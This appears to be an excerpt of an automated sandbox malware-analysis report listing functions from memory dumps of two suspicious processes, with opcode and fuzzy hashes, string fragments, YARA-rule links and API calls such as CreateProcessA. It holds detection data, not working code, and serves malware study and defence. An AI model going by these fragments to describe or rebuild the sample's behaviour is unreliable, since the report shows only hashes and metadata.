API ID:
String ID:
API String ID:
Opcode ID: d6bd0edd1914d4abba943b3dde9e8c8c57e658c9f14b944d4f87d9b3d2cd455c
Instruction ID: cceda77a89a8a3df632b146f2242100f2a3f0c02f71d3c5e896a04fa0bca36ed
Opcode Fuzzy Hash: d6bd0edd1914d4abba943b3dde9e8c8c57e658c9f14b944d4f87d9b3d2cd455c
Instruction Fuzzy Hash: D541D074E001168BDF60CBA8C8C0A7EFBBAFB45310F35C926D45ACBA49C634D941DB91

Function 06922140 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4170944844.0000000006920000.00000040.00000800.00020000.00000000.sdmp, Offset: 06920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6920000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce3f192847ed355c0fded2b0d3d8ad4b4782de40d341cc2fca149dd5322dea7a
Instruction ID: f85975af641832182e35eef0d72ec4512e9837703c062c23ccd1d6cc6aca1cb7
Opcode Fuzzy Hash: ce3f192847ed355c0fded2b0d3d8ad4b4782de40d341cc2fca149dd5322dea7a
Instruction Fuzzy Hash: 3831D335E102169FCB48DF65C884A9EB7F6BF88310F248529E906E7744DB71ED42CB40

Function 06922150 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4170944844.0000000006920000.00000040.00000800.00020000.00000000.sdmp, Offset: 06920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6920000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df9bc3b6aae83ff1ac1ed58460bd7f19e015aa8a9b17accafdf3b9659c18a70d
Instruction ID: fe1ac026346858c5460be8fca40b513a8c4d967a71fde7c2ad90c082e417b997
Opcode Fuzzy Hash: df9bc3b6aae83ff1ac1ed58460bd7f19e015aa8a9b17accafdf3b9659c18a70d
Instruction Fuzzy Hash: FC31A234E102169BCB48DF65D894A9EB7F6BF89310F208529E90AE7744DB71AD42CB40

Function 06923B21 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4170944844.0000000006920000.00000040.00000800.00020000.00000000.sdmp, Offset: 06920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6920000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a212be917a50b1e5b0871dbac8fd48b4e9f3a494516aa9de2ca0f24e6a2578ec
Instruction ID: 0d7c4debceb378ed9a9a4a81fdafa9e00df413908ae813b226cfe7a50ddb3584
Opcode Fuzzy Hash: a212be917a50b1e5b0871dbac8fd48b4e9f3a494516aa9de2ca0f24e6a2578ec
Instruction Fuzzy Hash: 5E219C75F00616AFDB50DFA9E881BAEBBF9BB48710F108025E905EB344E735DD418B91

Function 06923B30 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4170944844.0000000006920000.00000040.00000800.00020000.00000000.sdmp, Offset: 06920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6920000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2300e7b1119e35c84190fcc641e430fd0b91f01c6b60c23e2587bc5a369967b
Instruction ID: 1968955df015ab78dd357d63fde4f763f7c0784f0900504bb2dfdaf291b05b4d
Opcode Fuzzy Hash: f2300e7b1119e35c84190fcc641e430fd0b91f01c6b60c23e2587bc5a369967b
Instruction Fuzzy Hash: DF219A75E006269FDB50DFA9E880AAEBBF5FB48700F108025E905EB344E735DD018B90

Function 0112D3BC Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4149152632.000000000112D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0112D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_112d000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da2bbc7509b78e1277c5374239b75c0b46b50c3d5e7434830119750fc8419547
Instruction ID: 77fb09a6d27a6c7b44677bf8d53b921dff2b9f099beffc504d98fd1e783cb808
Opcode Fuzzy Hash: da2bbc7509b78e1277c5374239b75c0b46b50c3d5e7434830119750fc8419547
Instruction Fuzzy Hash: D32146B1504280DFDF0DDF58E9C0B26BFA5FB84314F20C56DD8094B696C376E466CA62

Function 0112D044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4149152632.000000000112D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0112D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_112d000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4928808cb1fea5c51422b76cd9ea3916cff045117282f7a93279cec38ca03a09
Instruction ID: a37de4dd4b11f08b6c4aa64833c4829cbadeab6ca6d3a5626dfe7d3e43800b9e
Opcode Fuzzy Hash: 4928808cb1fea5c51422b76cd9ea3916cff045117282f7a93279cec38ca03a09
Instruction Fuzzy Hash: C4214671504204DFDF19DF68E9C4B26BBA5FB84314F20C5ADE8494B362C73AD866CB62

Function 0112D20C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4149152632.000000000112D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0112D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_112d000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14dd91b972a1f8e98b393ebb1f65d26e5ee4e95e69d907b855d0bf6485773fdd
Instruction ID: 5aa843406084eb98adf4a532966710eb1aa9d0b31d42bdf67d9d28323a0e0363
Opcode Fuzzy Hash: 14dd91b972a1f8e98b393ebb1f65d26e5ee4e95e69d907b855d0bf6485773fdd
Instruction Fuzzy Hash: 25216871504244DFDF09DF58E5C4B2ABB65FB85334F20C669E8094B242C376D426CA62

Function 06926D70 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4170944844.0000000006920000.00000040.00000800.00020000.00000000.sdmp, Offset: 06920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6920000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2db19808985e97cbc3275106b0529ddf7d71849fa1af15e841c630faadecf86c
Instruction ID: 28910624a19fd1903fefbb3fc1b719ba210fb5bbecfebed8b07e5eb22bdb4e00
Opcode Fuzzy Hash: 2db19808985e97cbc3275106b0529ddf7d71849fa1af15e841c630faadecf86c
Instruction Fuzzy Hash: 0E21A230B1012A9BDF44EB69E8547AEB7B6EB84310F248435D405EB748DB31ED528BC5

Function 06923C40 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4170944844.0000000006920000.00000040.00000800.00020000.00000000.sdmp, Offset: 06920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6920000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 717d4e75a609a6ccee26d3def001e24466ff6932efecea1898ba3832a03aa033
Instruction ID: 77ae7ad2b8bf8695ee6f2f56641c1c9a4442b6a847e84c82e5bc5a138a0dc187
Opcode Fuzzy Hash: 717d4e75a609a6ccee26d3def001e24466ff6932efecea1898ba3832a03aa033
Instruction Fuzzy Hash: 57116136B141355FDF54E668D814AAF73EAABC8610F10853AD90AE7344EF64DC028BD1

Function 06924280 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4170944844.0000000006920000.00000040.00000800.00020000.00000000.sdmp, Offset: 06920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6920000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d33de7057a9087873d02e780f89511ebdfd28be0be279ea6b7db0d18e6cf699
Instruction ID: 150eda079e6adafcc3b1120b255ed6384b3a25a27839eb3af0113b39a33cdc87
Opcode Fuzzy Hash: 4d33de7057a9087873d02e780f89511ebdfd28be0be279ea6b7db0d18e6cf699
Instruction Fuzzy Hash: 1B01F9307001611BCB65967DD41472FBBDADBCAA10F288839E10EC7B49DA11DC428381

Function 0692A357 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4170944844.0000000006920000.00000040.00000800.00020000.00000000.sdmp, Offset: 06920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6920000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7ff1d13b71c0e837b8f9614fec793180fdd6f0f87551db33246520ca898616e
Instruction ID: 38d4f01802666063f10c4c2ec70abeb011e11e76f319e14782bd769a142768ff
Opcode Fuzzy Hash: d7ff1d13b71c0e837b8f9614fec793180fdd6f0f87551db33246520ca898616e
Instruction Fuzzy Hash: 6101D831B001111FD761EB3DD85475EBBDAEB87614F20887AE54ACB749EF21DD028395

Function 069238F8 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4170944844.0000000006920000.00000040.00000800.00020000.00000000.sdmp, Offset: 06920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6920000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f8fda38f5d730c6d9b47e1938c22fd05e123dfbb63d73d75f23c12a36acee25
Instruction ID: 37c35ad746dc20edada7865a031a1c0ab74b54932a229d6e601327b5a2c2b841
Opcode Fuzzy Hash: 9f8fda38f5d730c6d9b47e1938c22fd05e123dfbb63d73d75f23c12a36acee25
Instruction Fuzzy Hash: 9021E0B5D01219EFCB00DF9AD884ADEFFB8FB49310F10812AE918A7240C774A550CFA5

Function 06923C2F Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4170944844.0000000006920000.00000040.00000800.00020000.00000000.sdmp, Offset: 06920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6920000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 502d793e71026ae9caaccf3b8edc1d24aa3591489216fcaa7d144141c3730853
Instruction ID: 9a1665619a434173bf96bef37d76f881b5e0a2fa87b7090537ea1f8c28204a40
Opcode Fuzzy Hash: 502d793e71026ae9caaccf3b8edc1d24aa3591489216fcaa7d144141c3730853
Instruction Fuzzy Hash: F801F532B140351BDF54D679D8106EB7BEB9BC8A10F14813AD90AD7244EF649C028BD6

Function 0112D3B7 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4149152632.000000000112D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0112D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_112d000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: a5a04a3c81f70146e6d0da88c38d16de8e57fe534c5f6cb113a38101c3ca4367
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: 0211DD75504280CFDB0ACF54E5C4B55BFA2FB84318F24C6AAD8494BA56C33AE41ACBA1

Function 0112D03F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4149152632.000000000112D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0112D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_112d000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: b4d83f6093b65762d9c4574ad4cbe4fad97f221ee9551c418e14b20e18023d88
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: E711DD75504284CFDB1ACF64D9C4B16BFA2FB84314F24C6AAD8494B662C33AD45ACF62

Function 0112D207 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4149152632.000000000112D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0112D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_112d000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72d23902bf60047e6ac5528eaef86f122a9a091f4bdaa5726a35430d0a81cb07
Instruction ID: 87aa63ea5b3e573e4ab12ee2009699cf6ae7a13e8c629cbcf197f34f3d93ef1a
Opcode Fuzzy Hash: 72d23902bf60047e6ac5528eaef86f122a9a091f4bdaa5726a35430d0a81cb07
Instruction Fuzzy Hash: D911EF76504284CFDB06CF54E5C4B16FF61FB85324F24C6AADC490B646C33AD41ACBA2

Function 0692EDE9 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4170944844.0000000006920000.00000040.00000800.00020000.00000000.sdmp, Offset: 06920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6920000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 899b176c3cbc22c40c57a8039c77f3320aef32594f2d073b84da9f3f060abfb7
Instruction ID: d39725f1c9a56c7f119ba3c3b88fb3324254dcd75e04601f15b4c46468e80425
Opcode Fuzzy Hash: 899b176c3cbc22c40c57a8039c77f3320aef32594f2d073b84da9f3f060abfb7
Instruction Fuzzy Hash: 1C01A735B140114FCB65DB7DD494B3E77EAEBC9614F248839E50EC7349DA21DD028385

Function 06923900 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4170944844.0000000006920000.00000040.00000800.00020000.00000000.sdmp, Offset: 06920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6920000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b398050ec0975f9c30789671357ab847d18464f717a6fa1ca36402a516ba69b
Instruction ID: cfbad164462ac863c8a3f52fb1fa46d6a6d4ac4180c6353493344b2a2a0cc497
Opcode Fuzzy Hash: 2b398050ec0975f9c30789671357ab847d18464f717a6fa1ca36402a516ba69b
Instruction Fuzzy Hash: 5911A2B5D01259EFCB00DF9AD884ADEFBB4FB49310F50812AE518A7250C374A554CFA5

Function 06924290 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4170944844.0000000006920000.00000040.00000800.00020000.00000000.sdmp, Offset: 06920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6920000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05b9e14dd6d03a8c158cccc155db9558f987707f07dd1a53ba0f9906e545ca4c
Instruction ID: a4d7ec111006227996f82de98ab070c8618577825b288fa80898abdb4f5f2650
Opcode Fuzzy Hash: 05b9e14dd6d03a8c158cccc155db9558f987707f07dd1a53ba0f9906e545ca4c
Instruction Fuzzy Hash: 6E018635B101211BDB54966ED454B2FB7DFEBC9B10F24843AE60EC7B48DE61DC424395

Function 0692FF2B Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4170944844.0000000006920000.00000040.00000800.00020000.00000000.sdmp, Offset: 06920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6920000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 671ea80f6ce60471eb9ec98a68b4786625b5af97d10b734c754062db6808c805
Instruction ID: f6ba52e43027db79bb6ee87c70bf49ac7c6ca9fa160a2dc18bf8955990aae157
Opcode Fuzzy Hash: 671ea80f6ce60471eb9ec98a68b4786625b5af97d10b734c754062db6808c805
Instruction Fuzzy Hash: B801D675A092858FDB41EBB8E9503EDBFB1EB45304F1041BBC449CB65AEB308D05CB92

Function 0692EDF8 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4170944844.0000000006920000.00000040.00000800.00020000.00000000.sdmp, Offset: 06920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6920000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90b279d33658472ce2cfb0999d7699f7ded9b06362b5c1bd67c95f8528b5027a
Instruction ID: 078d2d8262c02735c7e521d24140beba7346998abd45d50748a332cdd315e96c
Opcode Fuzzy Hash: 90b279d33658472ce2cfb0999d7699f7ded9b06362b5c1bd67c95f8528b5027a
Instruction Fuzzy Hash: 3501A435B100225BCB64967DA49473EB3DADBC9624F248839F60EC7348DE21DC024395

Function 0692A368 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4170944844.0000000006920000.00000040.00000800.00020000.00000000.sdmp, Offset: 06920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6920000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a8ca5bf6bc6c96246d452a36328d004254a4aeca1162e6297ec6d541475035d
Instruction ID: 3a136cc6de5074141fa0f66780a9df841a6d568cb6ef3cc22494d55fddc00d58
Opcode Fuzzy Hash: 1a8ca5bf6bc6c96246d452a36328d004254a4aeca1162e6297ec6d541475035d
Instruction Fuzzy Hash: 70018131B101254FCB50AA2DE85472EB7DAEB8A714F208839E50ACB348EA21DC014385

Function 0692FF48 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4170944844.0000000006920000.00000040.00000800.00020000.00000000.sdmp, Offset: 06920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6920000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4f1638d05a2b3f276c83de61289d538d1c58a7694adc163d0558afd00beffc6
Instruction ID: e5a7a7dddbd521a5fe4a2aafffbb8d4e35c05873af409c8fb92ab9656b6fab6f
Opcode Fuzzy Hash: d4f1638d05a2b3f276c83de61289d538d1c58a7694adc163d0558afd00beffc6
Instruction Fuzzy Hash: 4FF03A74A502458FD780EFB885402AEB7F6FB88300F104179890AC371CEB30CE41CB92

Function 069264C9 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4170944844.0000000006920000.00000040.00000800.00020000.00000000.sdmp, Offset: 06920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6920000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4877b6df37158decda46ca15c79cd665d1911b23201757f2a47eec533b6f1c06
Instruction ID: 4c7e75a2c09c8fc5b3a12437d2be03c0f975b9acc2afbf3a938ca732b0ece6be
Opcode Fuzzy Hash: 4877b6df37158decda46ca15c79cd665d1911b23201757f2a47eec533b6f1c06
Instruction Fuzzy Hash: 1FE06830E192996BDF21CFB4D91479A7FBDDB02204F3089E5D484CB542E472CE01D392

Non-executed Functions

Function 069276F8 Relevance: 13.0, Strings: 10, Instructions: 468COMMON

Download Yara Rule

Strings

$^q, xrefs: 069277F4
$^q, xrefs: 06927C50
$^q, xrefs: 06927819
$^q, xrefs: 06927C66
$^q, xrefs: 06927BA5
$^q, xrefs: 06927BB1
$^q, xrefs: 069277E8
$^q, xrefs: 06927825
$^q, xrefs: 06927C5A
$^q, xrefs: 06927C44

Memory Dump Source

Source File: 00000008.00000002.4170944844.0000000006920000.00000040.00000800.00020000.00000000.sdmp, Offset: 06920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6920000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2222239885
Opcode ID: 5dfe97093386f8f5f4d607c189f0aa1ac72564aedab7cadc42066769f3285a2c
Instruction ID: ab90e184dffb08adeb452ee0af389f10034f14b1f916f2117d7e9bcae0fa0e69
Opcode Fuzzy Hash: 5dfe97093386f8f5f4d607c189f0aa1ac72564aedab7cadc42066769f3285a2c
Instruction Fuzzy Hash: 1F122D30E0022A8FDB68DFB5C954A5EB7F6BF89704F208569D409AF758DB309D85CB81

Function 0692A990 Relevance: 10.2, Strings: 8, Instructions: 229COMMON

Download Yara Rule

Strings

$^q, xrefs: 0692AB42
$^q, xrefs: 0692AB0C
$^q, xrefs: 0692AAED
$^q, xrefs: 0692AB4E
$^q, xrefs: 0692AAE1
$^q, xrefs: 0692AA92
$^q, xrefs: 0692AB18
$^q, xrefs: 0692AA86

Memory Dump Source

Source File: 00000008.00000002.4170944844.0000000006920000.00000040.00000800.00020000.00000000.sdmp, Offset: 06920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6920000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-3823777903
Opcode ID: 494cb61b8f9da9da06a503a6b6febad7ba6ce39e0e056075218ff51064a4d18b
Instruction ID: a86043a624d7d46d80944f4c6c40a743996a03df7034ef853329a4985750d26f
Opcode Fuzzy Hash: 494cb61b8f9da9da06a503a6b6febad7ba6ce39e0e056075218ff51064a4d18b
Instruction Fuzzy Hash: A1919F31E0021ADFEB68EF65D954B6EB7F6AF84710F208829E402DB758DB349D45CB90

Function 069270F8 Relevance: 9.2, Strings: 7, Instructions: 405COMMON

Download Yara Rule

Strings

$^q, xrefs: 06927434
.5vq, xrefs: 06927153
$^q, xrefs: 06927440
$^q, xrefs: 06927600
$^q, xrefs: 069273DA
$^q, xrefs: 0692760C
$^q, xrefs: 06927594

Memory Dump Source

Source File: 00000008.00000002.4170944844.0000000006920000.00000040.00000800.00020000.00000000.sdmp, Offset: 06920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6920000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID: .5vq$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-390881366
Opcode ID: d8dd47c8850e77714627ffb963af0fa66b67788d69e74b959727031228508509
Instruction ID: cb24295c13af3dfb2d9981402e0fbbbe1a450574cc12971cd0a78fd6d0419aa3
Opcode Fuzzy Hash: d8dd47c8850e77714627ffb963af0fa66b67788d69e74b959727031228508509
Instruction Fuzzy Hash: 57F13C30A0021ACFDB58EBA8D594B6EB7B6BF85304F248569D405AF75CDB71DC82CB81

Function 06928428 Relevance: 5.3, Strings: 4, Instructions: 282COMMON

Download Yara Rule

Strings

$^q, xrefs: 0692868E
$^q, xrefs: 069286F3
$^q, xrefs: 06928682
$^q, xrefs: 069286E7

Memory Dump Source

Source File: 00000008.00000002.4170944844.0000000006920000.00000040.00000800.00020000.00000000.sdmp, Offset: 06920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6920000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: d73c47693915b28a54950acd96d0c72996cbb12480eb84a08283b2516c5356f6
Instruction ID: 12f117813f84323888861741df0232b70493e129256207193cf5d63b84a1c440
Opcode Fuzzy Hash: d73c47693915b28a54950acd96d0c72996cbb12480eb84a08283b2516c5356f6
Instruction Fuzzy Hash: 04B15F30A1021A8FDB58EF68D68465EB7B6FF88304F24C829D405DB758DB75DC86CB80

Function 0692AD18 Relevance: 5.2, Strings: 4, Instructions: 178COMMON

Download Yara Rule

Strings

$^q, xrefs: 0692AEF4
$^q, xrefs: 0692AECB
$^q, xrefs: 0692AE49
$^q, xrefs: 0692AE9C

Memory Dump Source

Source File: 00000008.00000002.4170944844.0000000006920000.00000040.00000800.00020000.00000000.sdmp, Offset: 06920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6920000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 60bf22639a21b23bc77e451fb3a8955184a8006bc3c3b15543784a08adabce21
Instruction ID: 9c72479774f36da39ac1ecf8ee9a3392232eac0d5fecfe503f2c5626beaace74
Opcode Fuzzy Hash: 60bf22639a21b23bc77e451fb3a8955184a8006bc3c3b15543784a08adabce21
Instruction Fuzzy Hash: F051E731E102168FDF65EB64D9846AEB7B6EF89311F24892AD406DB75CDB30DC42CB90

Function 06928840 Relevance: 5.2, Strings: 4, Instructions: 168COMMON

Download Yara Rule

Strings

$^q, xrefs: 069288BF
$^q, xrefs: 069288CB
LR^q, xrefs: 06928933
LR^q, xrefs: 06928982

Memory Dump Source

Source File: 00000008.00000002.4170944844.0000000006920000.00000040.00000800.00020000.00000000.sdmp, Offset: 06920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6920000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID: LR^q$LR^q$$^q$$^q
API String ID: 0-2454687669
Opcode ID: cfd50992d287821658531f2781f90c00bd0e2a6ee9b6fc83c77c8755209041f7
Instruction ID: 4f51f0cd9476df51a074a1d61d19a2b7671da884ecd56aa8b61e5b1c70b49a2a
Opcode Fuzzy Hash: cfd50992d287821658531f2781f90c00bd0e2a6ee9b6fc83c77c8755209041f7
Instruction Fuzzy Hash: 7851B330B002168FDB58EB28D954B6AB7F6FF88314B148968E415DB79DDB30EC45CB91

Analysis Process: HHhSyZN.exePID: 7512, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	12.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	217
Total number of Limit Nodes:	12

Executed Functions

Function 0ADA0B08 Relevance: .3, Instructions: 335COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1777948182.000000000ADA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0ADA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ada0000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c537b6587a4eca2e3d4c2046eb09dc00f08c871b38903cd889a42224431a581
Instruction ID: d1809f4ae9c384f136af8e168b3ca4a357b9b098aea449e191762e02facb348c
Opcode Fuzzy Hash: 2c537b6587a4eca2e3d4c2046eb09dc00f08c871b38903cd889a42224431a581
Instruction Fuzzy Hash: 07C1EA72B016058FDB29EF75C420BAEB7FAAFD9300F16846DD1468B691DB34E901CB61

Function 0B2DCA65 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 248
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0B2DCCA6

Strings

>U, xrefs: 0B2DCA6C

Memory Dump Source

Source File: 00000009.00000002.1778985591.000000000B2D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B2D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b2d0000_HHhSyZN.jbxd

Similarity

API ID: CreateProcess
String ID: >U
API String ID: 963392458-1280305422
Opcode ID: 40b8ae8e286695d9f234d5efa6329c2c5782d62d38a51796d8e0dc19384de92a
Instruction ID: 287560494f336f94ef164b9b77d0c27a923b9fcc2fd075f73cb59bfe6d61210d
Opcode Fuzzy Hash: 40b8ae8e286695d9f234d5efa6329c2c5782d62d38a51796d8e0dc19384de92a
Instruction Fuzzy Hash: 17A15C71D1025ADFDB14CFA8C8817DDBBB2FF48314F1482AAE848A7294DB749985CF91

Function 0B2DCA70 Relevance: 1.7, APIs: 1, Instructions: 243processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0B2DCCA6

Memory Dump Source

Source File: 00000009.00000002.1778985591.000000000B2D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B2D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b2d0000_HHhSyZN.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: f72aa668ea5cf42d06c83855742294cfa26df27f51d36c938f30bb624b961955
Instruction ID: 21ab6dd18e097083846651fdabfe800908a88f922f91a4fd5d3b4e5b62500ec4
Opcode Fuzzy Hash: f72aa668ea5cf42d06c83855742294cfa26df27f51d36c938f30bb624b961955
Instruction Fuzzy Hash: A3915B71D1021ADFDB14CFA8C8817DDBBB2FF48314F1482AAE848A7294DB749985CF91

Function 015E7CC4 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 015E91B9

Memory Dump Source

Source File: 00000009.00000002.1768186902.00000000015E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_15e0000_HHhSyZN.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: a62ad147ef7918606d8a9f7bfa84cf7c54df1e86e1a3085588df60706d616167
Instruction ID: cda4eaf3c1b50359ae4868c83c670018d0dd1884b5185c5af23831170c8d7554
